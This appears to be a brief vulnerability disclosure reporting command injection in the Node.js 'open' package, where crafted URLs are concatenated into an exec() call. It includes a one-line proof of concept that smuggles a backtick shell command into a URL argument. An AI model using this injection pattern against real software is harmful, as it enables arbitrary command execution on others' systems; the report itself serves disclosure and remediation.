[open] concatenation of unsanitized input into exec() command

I would like to report command injection in `open`. It allows to inject arbitrary shell commands by specifing crafted urls.

require("open")("http://example.com/`touch /tmp/tada`");